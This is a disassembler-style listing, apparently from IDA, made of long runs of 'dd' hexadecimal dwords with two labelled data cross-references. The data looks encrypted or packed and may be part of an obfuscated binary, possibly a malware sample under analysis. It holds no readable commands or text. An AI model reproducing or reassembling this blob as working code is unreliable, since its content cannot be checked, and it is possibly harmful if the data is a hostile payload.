		dd 98A78630h, 0F305E983h, 22B9A4h, 7E90000h, 63000000h
		dd 1A95FFh, 0B9E90000h,	0D4000008h, 0F6AE4814h,	11C9630Bh
		dd 2EE680F2h, 4E06A0D8h, 4824BEB6h, 6A0AFA7Eh, 89ED18D0h
		dd 0AAB037EFh, 0C6AA5810h, 382D462Ch, 28A0A6FDh, 0C8962DC2h
		dd 0B34E383Ch, 2A1064BCh, 0CB226F7Dh, 69F3937h,	0AEA5C938h
		dd 2BDA2378h, 0F411A85Dh, 0EC877182h, 0A48EE61Eh, 44F31209h
		dd 50458B76h, 226F7CE5h, 675E6FDAh, 45509002h, 0FD093124h
		dd 0E5F6917Bh, 1361A3FBh, 2F41C179h, 5B15ED45h,	0E6D9E371h
		dd 0AA8B802Fh, 0D2899A9h, 956DABA2h, 577341DBh,	79D9113Ah
		dd 66h,	0A7CD37B1h, 19F65BDh, 1F98B1AFh, 6F596AD2h, 2DE4D7E1h
		dd 0E2CCA25Fh, 0F2125047h, 99A448AEh, 4F60012Bh, 78E3E7B5h
		dd 30DFD2E7h, 0E4A98C81h, 0A30E226Fh, 6FE487AEh, 0D6CD3822h
		dd 25C5h, 0CD37FD00h, 0FC3EBDA7h, 10226F7Ch, 5DA77D70h
		dd 2C836817h, 0A4CC3692h, 683A1FBAh, 242E2567h,	3578h
		dd 0CD37B600h, 0CD715ED3h, 0B0C170F2h, 9BF447C6h, 8010226Fh
		dd 3227D68Dh, 226F9C03h, 54561AE8h, 9BDF564Bh, 75E0226Fh
		dd 0D52F6D64h, 0DF22F09Fh, 130AA58Fh, 0EA3F3709h, 5E43F2A1h
		dd 697A5A87h, 48ADA444h, 2445A64Eh, 0C0756A73h,	0F72899E8h
		dd 0E93CF9EEh, 18832899h, 0D30CF607h, 8973FD05h, 8DE120EEh
		dd 0C7AB5896h, 108E752Dh, 2C6832FDh, 3DECFD51h,	9A9C998Eh
		dd 0B8232899h, 0C21767C1h, 3F2945BCh, 0EFE493A4h, 2A6F7C5Fh
		dd 47CBB520h, 9F643A2Dh, 828139D3h, 9E8706F0h, 81226FBCh
		dd 684D04F7h, 0FEC6154Fh, 3F8A709h, 226FE332h, 0E5231A85h
		dd 0E8BA541Eh, 0B69EE73Fh, 0CB37A91Bh, 5247F6A5h, 226F7CE3h
		dd 1A7269D4h, 8856996Bh, 710CF67Ah, 7D68CDC2h, 0E44F226Fh
		dd 124199EDh, 0F2A1D3E7h, 6F7D38FDh, 1D147F1Fh,	4C0Ch
		dd 0E73F4400h, 6156B69Eh, 226F7CD4h, 569880EBh,	0A6CC376Eh
		dd 377156BEh, 1DE630ADh, 32432BD6h, 0EEBCCD3Bh,	69CCC117h
		dd 4E226FEEh, 0AFE8D2E3h, 6FEE7BBAh, 0C0D13C22h, 374371C9h
		dd 0BA000000h, 0AFC93D0Bh, 6F7D7BBAh, 0DAD13C22h, 9EE73F82h
		dd 0D46156B6h, 0AE226F7Ch, 0C2400EBDh, 565FB7AEh, 7D88566Eh
		dd 3FC402F9h, 0E0D58433h, 226F7D55h, 0B008FF6Ah, 0CB37BD07h
		dd 0F3CBBA5h, 4226BFEh,	358D77E3h, 3ABEA8B2h, 7E142D20h
		dd 0EF13E9DCh, 9F4EE781h, 73FE8BAAh, 0D2A66022h, 0E04B4DE8h
		dd 1B59ABE9h, 6DC8BD6Ch, 522273FEh, 3E96F0E7h, 36C4AEC6h
		dd 0A163392Ch, 974F03FFh, 3C21066Ch, 0B44E5F52h, 0EB4AE4E6h
		dd 38ECD2h, 37240000h, 6BBBA5CBh, 80F41016h, 0D42DFB96h
		dd 2BDA899Ah, 0E6D08A5Dh, 27EF544Bh, 58244580h,	42E303EDh
		dd 0E5E01A5Dh, 9105AF0Ah, 8BF3FE2Bh, 0FA1A1122h, 9FD13107h
		dd 0CB373305h, 166BBBA5h, 0AA8B802Fh, 0D226F7Dh, 7D88ADA2h
		dd 0C42F226Fh, 3B0F04B3h, 0E4244568h, 0DB27DF79h, 0F02CAB95h
		dd 0FDAC4731h, 7092685Bh, 0EDC86D62h, 84EFA4C7h, 0BF6C473h
		dd 46E9563h, 7E887F1Ah,	0C8EB17E5h, 3D27383Ch, 41521CE5h
		dd 7AF60C4Ah, 0A2EB4090h, 0DC0CFEF3h, 3A08A69Dh, 43B5ACCCh
		dd 0D7A53ED8h, 0FF798D10h, 726904EEh, 9EE73F1Ah, 33E21BB6h
		dd 6F7CF73Eh, 0CABFC822h, 226F7D6Bh, 0D9D0E14Ch, 0A5CB3781h
		dd 0E35247F6h, 0D4226F7Ch, 6B1A7269h, 0B2A75699h, 226F7D83h
		dd 7ED2C934h, 0D3E7125Ch, 6A94h, 6A200500h, 0B8925B1Ah
		dd 7F18580h, 0C645B6Ch,	33CAE73Fh, 20A6A65Bh, 31FFAEBFh
		dd 1AB59FD1h, 6156CB23h, 226F7CD4h, 324AACEBh, 2E1858AAh
		dd 0BF1AE93h, 0E1043126h, 50BB226Fh, 56462E3Fh,	0A6CC376Eh
		dd 28F607BEh, 4CA49BBFh, 4A43h,	160BBA00h, 226F7D1Fh, 93A297A0h
		dd 24226F7Dh, 8FC3A8B9h, 1F787C77h, 564AA299h, 10FA7E88h
		dd 175DA775h, 4992EA20h, 3D39CC9Ah, 69C1B853h, 0F97D8856h
		dd 47EEE302h, 0CB226F7Dh, 756C06FDh, 56EDD5C6h,	0A6CC376Eh
		dd 56BD07BEh, 0F77B88h,	9D9240C2h, 226F7D98h, 0F4A3B41Fh
		dd 2ED6DB26h, 0B04B3546h, 6BE05FB9h, 48226BFEh,	79D1BB9Fh
		dd 7BFFE98Bh, 0BF556E61h, 0AE542A1Dh, 0C14513C2h, 0FE112419h
		dd 3BA62273h, 7129332Ah, 0BEF7E193h, 776115F0h,	5DA7E5DCh
		dd 6C9A6817h, 0FDBC796Eh, 98032273h, 0B029D87h,	4C1A23B1h
		dd 37D2BCB8h, 572D2040h, 942DC7ADh, 543921C6h, 0D412F81Bh
		dd 1E726940h, 0D2EB5BACh, 2C24h, 0CB375C00h, 7D231207h
		dd 0F2E7226Fh, 226F7D43h, 9C070974h, 0FC51A18Bh, 930F04B3h
		dd 0C244573h, 0F597B7A1h, 0DDD62C02h, 9F394A24h, 0A5CB37CDh
		dd 0CD166BBBh, 700D291Eh, 0A9B22445h, 999081B4h, 0BACB3628h
		dd 0BFE7260Bh, 6DD340AAh, 569A6C76h, 0B31CB471h, 5B22AEC9h
		dd 191D023Fh, 0EB857D7Ah, 5E556601h, 9F87D028h,	0CB37A91Bh
		dd 5247F6A5h, 226F7CE3h, 8F79FD08h, 0A287F2F4h,	5E8D5E3Ch
		dd 0C61E1517h, 83B2A756h, 68226F7Dh, 6DD8DA9Eh,	219A6C76h
		dd 0D3E711B9h, 90A84429h, 91A0D225h, 30899Ah, 3FC10000h
		dd 56B69EE7h, 6F7CD461h, 96703E22h, 0E79EBE2h, 79885626h
		dd 0DDD20BF5h, 226F7D58h, 0ECE3F45Fh, 0CC37E5CDh, 0BD07BEA6h
		dd 2B43h, 0E73F8100h, 6156B69Eh, 226F7CD4h, 290EBDAEh
		dd 26930544h, 0F32B85F2h, 0C47A9D24h, 5664BCB3h, 0A6CC376Eh
		dd 97D929F7h, 0BD0748A0h, 0BBA5CB37h, 0D17B9D82h, 3AB0857Ah
		dd 9C072270h, 638224B7h, 0D046E95h, 6C0CA3A8h, 3326C822h
		dd 1CCBA55Dh, 96931D37h, 0BB6AB31Bh, 743A6FC6h,	0EEE55022h
		dd 0FCD62CE4h
		dd 743A2E07h, 5F81AE22h, 0FDC4DC60h, 957F90FBh,	0F8A7F045h
		dd 4A19CB03h, 67016C24h, 0E73F95h, 6F7D2A0Bh, 11228D22h
		dd 37A91B29h, 1EFD1CBh,	0B9A01038h, 996BC0A8h, 83B2A756h
		dd 34226F7Dh, 5C7ED2C9h, 94D3E712h, 1Ch, 9EE73FCCh, 0D46156B6h
		dd 0EB226F7Ch, 6E569880h, 0BEA6CC37h, 4C43BD07h, 81000000h
		dd 83B2A756h, 34226F7Dh, 449CD2C9h, 0C2ACC43Eh,	562E1627h
		dd 0B63CC2A7h, 46D2598Dh, 0EFC5C24Ch, 0ACA3B48Fh, 6F7CEE47h
		dd 0AB562422h, 2C1DCCC3h, 376E5644h, 7BEA6CCh, 0E35247F6h
		dd 27226F7Ch, 6F7D0332h, 4749B422h, 378DE5DCh, 231207CBh
		dd 94226F7Dh, 0AF2E1829h, 226BFE9Ch, 481E11B3h,	831CB6BAh
		dd 64141D9Eh, 0F8825C5h, 0FA3C86EFh, 0A3E1D8E9h, 7D62115Fh
		dd 0B0E5F19Ah, 1E8E73A4h, 0FFE8833Ah, 0ADE64037h, 0D2C09FEh
		dd 6B932274h, 54EFD997h, 0C1164C43h, 0CED4C978h, 0D32449F9h
		dd 3FFCCE68h, 5406E1E7h, 0FBECF6Ah, 0C8B2C441h,	56DE362Dh
		dd 47F67A88h, 6F7CE352h, 7269D422h, 0CB37A618h,	996BBDA5h
		dd 0E711B921h, 2B37D3h,	3F6F0000h, 56B69EE7h, 3203F8A7h
		dd 85226F7Dh, 0E5CFA95Dh, 0DD42394Ah, 226F7D58h, 560CF45Fh
		dd 0A6CC376Eh, 43BD07BEh, 34h, 9EE73F81h, 0D46156B6h, 0AE226F7Ch
		dd 0A756D5BDh, 5677CAC2h, 44DFC991h, 0E548325Fh, 0CD817800h
		dd 140B73E8h, 0A37156BCh, 8D988439h, 6F94D2C9h,	0BD071B03h
		dd 0BBA5CB37h, 1ECD166Bh, 0D9408A6Fh, 33C21819h, 389FD73Ch
		dd 0B5202446h, 0CD166B1Bh, 808A6F1Eh, 3933D9A6h, 81DEE004h
		dd 0CB5A869Ch, 6BF96FD4h, 3FAA2A88h, 994E1C55h,	768CCAC1h
		dd 0C6B0AA3Dh, 0C8801A2Bh, 16E4623Ah, 0C6ABC73Ch, 72834762h
		dd 0DA120988h, 24E13EE6h, 0F1106852h, 0D173937Dh, 8D2FC5DEh
		dd 4AFEE39Ah, 0DF6C3783h, 1CE6241Bh, 10D7A554h,	9149534Ah
		dd 0BD15FF71h, 0C1452F49h, 2FFDB4A7h, 60B8A2B8h, 0C6BDCEA2h
		dd 5CF67A88h, 28125EA4h, 0CDCh,	71561A00h, 161AEF4Dh, 0F94037CBh
		dd 0ABB137A1h, 0D79969C1h, 85295EDh, 373FC61Eh,	650FF54Dh
		dd 93E1237Bh, 0C3B551A9h, 0F08281D9h, 1B53AE06h, 0F0681631h
		dd 89000042h, 0FA68243Ch, 89000037h, 8957240Ch,	4C781E7h
		dd 81000000h, 4EFh, 243C8700h, 242C895Ch, 3BD0BA52h, 0E2814DC0h
		dd 1C5F009Dh, 2CB9514Ah, 29060ED6h, 0D18959CAh,	2C8B545Ah
		dd 4C48324h, 4EC81h, 0C890000h,	8458F24h, 5D2434FFh, 0FF04C483h
		dd 83592434h, 0FE904C4h, 6BFFF94Bh, 3132B6B8h, 0FFC50306h
		dd 6C8891E0h, 0BB2E6278h, 50FCE314h, 0F126244Eh, 0B8E8CD30h
		dd 0FEAD2D0Ah, 0EDE7E17h, 7E83Eh, 4EC10000h, 23A7A7EBh
		dd 90BE664Ch, 8B665B3Fh, 0D6C381D7h, 0E900005Ah, 11h, 84E8CD6h
		dd 594DDB55h, 881F927Fh, 6A31BF9Fh, 0F8C92B80h,	810B048Bh
		dd 90BD7CE8h, 81F7B65Fh, 9D3F12E8h, 68F0F18h, 81000000h
		dd 0F061A6E2h, 3FF0814Eh, 8147F310h, 91BD96DAh,	0B048929h
		dd 5E9FCh, 9AE50000h, 837946CAh, 8D0F04E9h, 3, 81F98B66h
		dd 0FFA5DCF9h, 1B850FFFh, 80000000h, 31E908C6h,	41000000h
		dd 505C3B81h, 6370144Fh, 0CA804F7Ch, 82B7F6D4h,	8C0F328Dh
		dd 1, 0FF8AE9F8h, 20DFFFFh, 6857FFADh, 0DA8D81Bh, 883B5D1Fh
		dd 41B2DCCBh, 34B08D8Dh, 6A0631h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 8D89D0C3h, 62A1781h
		dd 958D89F9h, 89062A33h, 2A10D995h, 0F985C706h,	62A0Bh
		dd 8B000058h, 2A0389B5h, 0C585C706h, 62A06h, 8B000000h
		dd 31B5FFDFh, 6A062A32h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 8947C353h, 2A1A058Dh
		dd 0C195FF06h, 6A062A05h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 1C35C350h, 0E3FF9922h
		dd 6880F33h, 89000000h,	2A2CC18Dh, 0FF006A06h, 2A343995h
		dd 0EBC08B06h, 5716BF0Dh, 5E7D54C9h, 7C7AFB31h,	7E8ADB4h
		dd 0
		dd 0B31CF4D4h, 0FE8B230Bh, 81BBB258h, 75B6C0h, 0CE800h
		dd 0CC370000h, 32D8B560h, 81FF87F7h, 66B91D49h,	5A681D83h
		dd 1D3ABBh, 0FFEA8A00h,	860F6030h, 0
		dd 13E9h, 0E5FDB300h, 0E42CE1C5h, 0E50FAF8Eh, 0E88B2BDFh
		dd 712244DEh, 8D8B5E61h, 62A111Dh, 48D2EE81h, 0BE90ABEh
		dd 0A5000000h, 7FD5ED48h, 0E5A1573Eh, 0C68181B1h, 4632553Ah
		dd 0C68130B2h, 204AD176h, 958956FCh, 62A341Dh, 9E9008Fh
		dd 17000000h, 6B3423CFh, 5BB67977h, 5004E883h, 38A0Fh
		dd 8B660000h, 0EB835AF8h, 14850F01h, 0F5000000h, 20E9h
		dd 0DD6FD400h, 3727525Ch, 0AC79ADACh, 8B71456Fh, 2A24A18Dh
		dd 0FF65E906h, 0E4BAFFFFh, 1AB5AA0Ch, 4A8D8D0Bh, 6A063136h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 9DBC352h,	8A0CC40Eh, 958B2E81h, 62A2651h
		dd 33958D89h, 858B062Ah, 62A1641h, 0BF985C7h, 6250062Ah
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 55A4DAC3h, 0DE8h,	70509700h, 59E5396Fh, 49FC8427h
		dd 0E6BFC6C2h, 5878852Eh, 6C585C7h, 62Ah, 0E7800000h, 9DB5FF28h
		dd 60062A23h, 8B0F56h, 58000000h, 2B39B589h, 0FF61062Ah
		dd 2A05C195h, 79858B06h, 6A062A03h, 3995FF00h, 8B062A34h
		dd 0D90DEBC0h, 0ED71A0D7h, 906C25C4h, 5E077E87h, 36FB8D8Dh
		dd 6A0631h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 0B8F90EC3h, 0AF38C6DAh, 8D89EA09h, 62A3395h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0EBC35747h
		dd 0C963EB2Ah, 31D9E148h, 2A0D6D9Dh, 0F985C706h, 0A0062A0Bh
		dd 6A00006Dh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 0A638C356h, 6C585C7h, 62Ah, 0B5FF0000h
		dd 62A3231h, 0C195FFFCh, 0FC062A05h, 95FF006Ah,	62A3439h
		dd 0DEBC08Bh, 0E0BBDE89h, 0F880AD1Dh, 0CA1F0462h, 288D8D29h
		dd 6A063138h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 8B84C351h, 2A15C1BDh, 0B0DA8106h
		dd 892CB53Ah, 2A33958Dh, 0E375BA06h, 0E6B82B4Dh, 0C74684A3h
		dd 2A0BF985h, 59A806h, 53006A00h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 0E778DD73h, 6C585C7h
		dd 62Ah, 6A0000h, 3E856h, 5E200000h, 74895EC3h,	44810424h
		dd 1A0424h, 56460000h, 0CC8F89C3h, 94F39058h, 8E9h, 0CFF13000h
		dd 12217CDDh, 5850F92h,	0BE000000h, 72F45108h, 0B41B5FFh
		dd 6A062Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 3816E6C3h, 0FF1DE1Fh, 988h, 81F96000h, 572C19E3h
		dd 95FF6148h, 62A05C1h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Dh, 0BBC35040h, 703EAE31h, 7F438DEDh, 89E78A5Ch
		dd 2A337DBDh, 0FF006A06h, 2A343995h, 0EBC08B06h, 261C993Bh
		dd 0CD3E3598h, 0CC1014AFh, 4610F6Bh, 0A8404E54h, 0E45FB6C5h
		dd 9624793h, 8029B6C7h,	0D85C824h, 4D92F5BAh, 47AB3D2Ah
		dd 9356CA8Ah, 235FCBF9h, 83D1E884h, 8B2CCE7Bh, 12E8h, 0A16D1F00h
		dd 0B54DFF63h, 0E60B48A3h, 1F55A4DAh, 0F83A9855h, 0C381F55Bh
		dd 746Fh, 0EDB8F98Bh, 6600001Ch, 8B1ABEBAh, 3DB5310Bh
		dd 81062A10h, 7DA8DF1h,	9D9D293Ch, 81062A20h, 0AEAA6AC1h
		dd 458D3171h, 81062A30h, 746354E9h, 79B58966h, 89062A34h
		dd 7DBD8B0Bh, 83062A2Ch, 0FE801EBh, 0DE000000h,	6D9C3546h
		dd 4BF21650h, 99CE1E09h, 0BD8B8D53h, 62A343Dh, 4B4B4B5Fh
		dd 6860Fh, 958B0000h, 62A129Dh,	0E850F48h, 0F000000h, 29E9FFB7h
		dd 7E000000h, 154FB7B9h, 0E8A0F6Fh, 60000000h, 850Fh, 95890000h
		dd 62A0D59h, 0FF71E961h, 0D797FFFFh, 85B9CC1Eh,	633BAEA4h
		dd 39F78D8Dh, 9D8B0631h, 62A1A7Dh, 33958D89h, 0B58B062Ah
		dd 62A0391h, 505958Bh, 85C7062Ah, 62A0BF9h, 57F4h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0CDC35040h, 1A918831h
		dd 82D6AA2Fh, 11E9h, 43DDB400h,	76A0668Fh, 0D58080E5h
		dd 0CCAB84B4h, 85C77DB4h, 62A06C5h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 25C35545h
		dd 0F837E363h, 31B5FFD3h, 0F062A32h, 286h, 0FFD68B00h
		dd 2A05C195h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 1BA20158h, 31B021EAh, 95FF006Ah
		dd 62A3439h, 0DEBC08Bh,	0C8ECCB78h, 50C17CFDh, 399FB2FAh
		dd 7E8B5h, 233D0000h, 0CDDD6622h, 0BD8B5ACCh, 62A291Dh
		dd 6DCBC281h, 840F0000h, 6, 3365BD2Bh, 0C2BE062Ah, 813AF578h
		dd 0F55D8CEEh, 4195893Ah, 0FF062A28h, 0CC18132h, 586E10E4h
		dd 0B7E78166h, 0ACE881BEh, 0E80BA1DBh, 0Dh, 0ED632F89h
		dd 24983F4Eh, 0EF1784A0h, 61606037h, 0E8815F61h, 638E8B36h
		dd 7E8h, 7DCC0200h, 0EF868306h,	618D8B57h, 5B062A0Dh, 61E8815Bh
		dd 66504E7Ah, 289DE8Bh,	8E9h, 0A70DA000h, 0A6CD3F69h, 2EA83DDh
		dd 19860Fh, 0E9600000h,	0Ch, 0F90B11FDh, 0C19F0A93h, 3971191h
		dd 1EDDB523h, 4A61062Ah, 0A0BF664Ah, 850F4E7Eh,	22h, 12E9h
		dd 99869500h, 0E75E3B1Bh, 5CD10B49h, 3E053286h,	0E9617C9Dh
		dd 1Dh,	0CF73A7B7h, 8D8B06AFh, 62A34B1h, 0FFFF46E9h, 0CE04B3FFh
		dd 0B86EC867h, 7A038179h, 0C985C6B4h, 56062A27h, 0C530DF68h
		dd 0C9B5FFA9h, 8D062A22h, 2D81A985h, 8DD0FF06h,	2A003D8Dh
		dd 406A5106h, 32EDB5FFh, 0B5FF062Ah, 62A0E95h, 0B5FFD0FFh
		dd 62A32EDh, 0E95B5FFh,	8E8062Ah, 0E3000000h, 2787EFA7h
		dd 590C6812h, 4E98359h,	2242CC1h, 22424C1h, 0F7240C03h
		dd 68241Ch, 5F000000h, 5E0F34FFh, 4DDFC681h, 0C68168C7h
		dd 18473F49h, 0E793F681h, 3489144Bh, 0D3EF8139h, 817A91D8h
		dd 91D8CFC7h, 243C3B7Ah, 0FFD2850Fh, 9D8DFFFFh,	62A1085h
		dd 0C00B038Bh, 7840Fh, 38B0000h, 89045B8Bh, 0E9C98B18h
		dd 0D8h, 68C6BB00h, 0CA459CD7h,	0B6E1C8C3h, 0A7ACABDAh
		dd 4592B395h, 0B395A1F4h, 0ECABDA00h, 915D20A7h, 0B1F46BB2h
		dd 20752096h, 6BB79B55h, 92A5BCF2h, 7594A196h, 0B799603Ah
		dd 99BD329Fh, 9CB2E9B5h, 0A3F292A5h, 0EF7695ACh, 4E0097B1h
		dd 9FA5B4F9h, 7B6B5C00h, 8A924AF0h, 0F352D000h,	0F653F545h
		dd 0D6D979A3h, 0E3AFF144h, 7D41F445h, 92B000D7h, 756BBF97h
		dd 0BFCF60FDh, 93BCF996h, 207D20B2h, 0ABF79B57h, 9EBD9492h
		dd 9DBCE3B2h, 899BE0CEh, 8F9D728Fh, 0B4EEA9FDh,	0E1B6F66Dh
		dd 0ED7293BCh, 0D00097B3h, 0CD43F1B6h, 0F0A8h, 47000000h
		dd 0E3129D74h, 5E99E0h,	8 dup(0)
		dd 14FDE9h, 3E536800h, 8FE90631h, 68FFF941h, 6313F4Ah
		dd 0F94185E9h, 404D68FFh, 7BE90631h, 68FFF941h,	63141B2h
		dd 0F94171E9h, 423168FFh, 67E90631h, 68FFF941h,	63142D1h
		dd 0F9415DE9h, 437568FFh, 53E90631h, 68FFF941h,	6314467h
		dd 0F94149E9h, 452568FFh, 3FE90631h, 68FFF941h,	6314692h
		dd 0F94135E9h, 478168FFh, 2BE90631h, 68FFF941h,	63148DDh
		dd 0F94121E9h, 49A368FFh, 17E90631h, 68FFF941h,	6314B24h
		dd 0F9410DE9h, 4C4868FFh, 3E90631h, 68FFF941h, 6314E34h
		dd 0F940F9E9h, 4F0E68FFh, 0EFE90631h, 0FCFFF940h, 1ED670ECh
		dd 39F18BE3h, 560EA8CAh, 762EC8B0h, 704CE68Eh, 92E222A6h
		dd 0B1C540F8h, 0D2885F17h, 0EE828038h, 60556E54h, 28A0B9D5h
		dd 378555EAh, 11F6A5CBh, 0A324C643h, 6595EAE9h,	9A83C784h
		dd 0E0389289h, 4B44E22h, 0C2B766AFh, 244645A8h,	45C4AE19h
		dd 289A44F4h, 22D9CCFCh, 0D0C79354h, 11D24E7Ch,	3182D9h
		dd 3FBA0000h, 43F2A1EAh, 0FEE87275h, 0AB076C63h, 4244556h
		dd 0C776AF99h, 99A763D2h, 0F2E95428h, 99A7AC8Dh, 21144428h
		dd 11379535h, 0B63BD9h,	37730000h, 11F6A5CBh, 0D130074Eh
		dd 6E3B89Dh, 0FD55AFA6h, 2B836D07h, 57AF99D7h, 4C2BC5ABh
		dd 22700187h, 30CAA65Ch, 53488A78h, 227009E2h, 6F596AD5h
		dd 15E3CA1Fh, 9B85EFh, 700A2A0Bh, 11228D22h, 77BEB362h
		dd 4822700Ah, 0D2C7E6DDh, 2445E8E0h, 2CDC76E1h,	30DF8ED7h
		dd 93F124Bh, 0E3DAA891h, 6EB0D47Eh, 53026D2Ah, 5BF57F85h
		dd 0D1361A3h, 646472B6h, 97ED3993h, 0E4000012h,	6BE5804h
		dd 21D973FBh, 3EF690E2h, 5E16B0C8h, 5834CEA6h, 7AFA0A8Eh
		dd 99DD28E0h, 0BAA047FFh, 0D69A6820h, 483D563Ch, 28A0BAEDh
		dd 376D3DD2h, 550DA7CDh, 5729C3ADh, 0F2A1EA3Fh,	4556B5FDh
		dd 0E08FFA24h, 9680F012h, 2BAA04FBh, 2899A70Eh,	0CB8321E5h
		dd 0DEEBC099h, 5BB39DAEh, 0B2DEC8A6h, 4B1C3528h, 8E3C281Bh
		dd 34D911BEh, 0DCD39B66h, 0C3CBh, 0CB370300h, 5247F6A5h
		dd 226F7CE3h, 187269D4h, 463044C0h, 6F790CC7h, 4927DB22h
		dd 3FF6EB9Ah, 80226F81h, 0B9CAAE58h, 200B8C2h, 0DF34846Eh
		dd 813203F8h, 1A85226Fh, 0A9BAB64Ch, 51815FAh, 0BF068897h
		dd 0FEB4A9C8h, 162445E4h, 9A4A4D31h, 9A919CFCh,	7323BD28h
		dd 0F670011Eh, 94D173D7h, 82DFD483h, 3D2A6E64h,	0A67423D2h
		dd 0E220175Fh, 0B85222h, 636A7004h, 0E6646447h,	11A0408Ch
		dd 0FBED0000h, 0F20FC761h, 0D92AE27Ch, 0BF47FF99h, 9D671FB9h
		dd 97613DD7h, 0E983F113h, 8A2D431h, 29C39750h, 45DF9171h
		dd 0E451465Fh, 0DB28A0BBh, 0CD377646h, 6D13F8A7h, 0B4273EFAh
		dd 0B56D776Eh, 0B789234Dh, 0FB5F8856h, 0CCB1A211h, 0ABDFDE18h
		dd 9D65A39Ah, 0AB5624D3h, 8F3ED9C3h, 700C9B9Ah,	0BAB11C22h
		dd 76FA0860h, 755E43DCh, 6981CC79h, 8FB3930h, 0A1B55ADh
		dd 0BBA5765Bh, 8748EA8Ch, 2FFD3690h, 6AA89FD5h,	653ED898h
		dd 3B84D935h, 0A35B978Ch, 0ACD42445h, 95301A56h, 54E6CB84h
		dd 0A9DC0FAEh, 8E5C0B54h, 5B50FF77h, 140FCDDAh,	5C7B72DDh
		dd 0BBA3C8ADh, 0A1A95C72h, 497145AAh, 0DB4615E6h, 34CA1F1h
		dd 9F826F54h, 6D132217h, 39A419FAh, 0B9E10854h,	0E4AEA3C2h
		dd 9D1BCDABh, 0EFD48332h, 0E5A549BEh, 0B8997E71h, 65A4FF3Ah
		dd 0C43E7C73h, 0A85A12ACh, 4915C2C8h, 0DA345605h, 109D8Eh
		dd 5EFEEA00h, 79F50CC4h, 96DC27DFh, 0B6C244FCh,	0D4A0641Ch
		dd 10945E3Ah, 2EE680F4h, 4D059FD7h, 6E26C09Ah, 5C42DC94h
		dd 0BCE74E43h, 43D828A0h, 0A5CB3773h, 0CD166BBBh, 6FCD291Eh
		dd 7722445h, 1F68BD6Dh,	85A77B70h, 7DE82A6Fh, 9A251493h
		dd 38CE226Fh, 6FE5640h,	0CE58846Eh, 760005DBh, 71649465h
		dd 0E72B4585h, 52AF7DD2h, 0E5CFA55Fh, 164F394Ah, 6F8E1421h
		dd 2F40AB22h, 8EAA8B80h, 0A20D226Fh, 719AABh, 5C0B0000h
		dd 8E7DB8ADh, 0D742226Fh, 6F8E53E2h, 2F96422h, 0A1EA3FAAh
		dd 0C1E124F2h, 28D4B5F3h, 0D1C8D9A0h, 22EBBDB2h, 41AC2446h
		dd 804FAD92h, 38880190h, 93542241h, 46D9E5F3h, 27F5E5B0h
		dd 0EC8697DDh, 9A272E0Dh, 333DC528h, 0CF320099h, 231AB59Fh
		dd 0B18402E5h, 3D6E9C7Ch, 0EF281223h, 0A892E421h, 8B782C39h
		dd 0B2C333ACh, 0FA489BBh, 3FC70000h, 270E03EAh,	98226F7Dh
		dd 786D1C2Dh, 245E40E4h, 0B583329Dh, 0F089234Dh, 0B8E94C41h
		dd 63CE28A0h, 9CD42E6Ch, 3CAB79B2h, 0E8D2A461h,	0F453C4Dh
		dd 0CDC271BAh, 2A8F83B4h, 32E190FBh, 254FB583h,	6F840530h
		dd 584FBA22h, 38CBE81Ah, 0D78F293Ah, 0B5B452Bh,	0C9BE6DB6h
		dd 24457BA1h, 34ADB31Eh, 156A8828h, 0F386FBBh, 63850000h
		dd 5AA75FF9h, 41C27A14h, 27DF9731h, 5FFB751h, 2FF9D56Fh
		dd 811B59ABh, 0A03A3CC9h, 0C15BFFE8h, 0DD77F909h, 4CE9DEF7h
		dd 7328A0BEh, 29100EDEh, 0D2226F7Dh, 9085347Dh,	245E4869h
		dd 0D7BC6BD6h, 0A15BBB98h, 58776E3Dh, 49F8788Ah, 3ED8B7Bh
		dd 0AF677168h, 0CFA36053h, 2F84D4BEh, 0A38837E6h, 1D18E1B3h
		dd 659E6C49h, 45B1160Dh, 0FA2A76B6h, 7562898Fh,	8DE76479h
		dd 0EB941h, 7AE20600h, 95D928E0h, 0B2C043FBh, 0D2A66018h
		dd 0F0848038h, 2CB07A56h, 4A029CD8h, 6921BBBBh,	8A42DC7Eh
		dd 785EF878h, 0BECB6A5Fh, 57EC28A0h, 0E8CB3787h, 0FE6D571Bh
		dd 301F8C22h, 455667F4h, 71FF035Bh, 0DFD22F87h,	523C4D23h
		dd 7F6909FAh, 0D5EEE1FBh, 0DBC7BAE2h, 0D2E7A4EFh, 91EE1h
		dd 0EA3F1900h, 0F1FDF2A1h, 0B6245E47h, 0F8ED9C4Bh, 28A0B83Dh
		dd 0B8491782h, 3A31CCB6h, 0BBB54D1Bh
dword_5C0024	dd 0D7996921h, 0B7CB6EEDh, 0DB3028A0h, 8EEE392h, 0B92A76ABh
					; DATA XREF: ___:004327ECo
		dd 48AD484Eh, 429C6479h, 0E19F6h, 0DA826600h, 0F5798840h
		dd 1260A35Bh, 3246C078h, 5024E098h, 8C10DAB6h
dword_5C005C	dd 0AA62FC78h, 0C9811B5Bh, 0EAA23C1Eh, 0D8BE5818h, 0BF6BCABFh
					; DATA XREF: ___:off_432940o
		dd 0B74C28A0h, 0A5CB37E7h, 68B111F6h, 312D14F6h, 0E7D19F63h
		dd 0A3FB554Ch, 0AA27115Fh, 2832B583h, 8CACA33Eh, 6C1DAD99h
		dd 84B3D2E7h, 0EB000008h, 6F7D2910h, 0CC1BE922h, 1209A48Eh
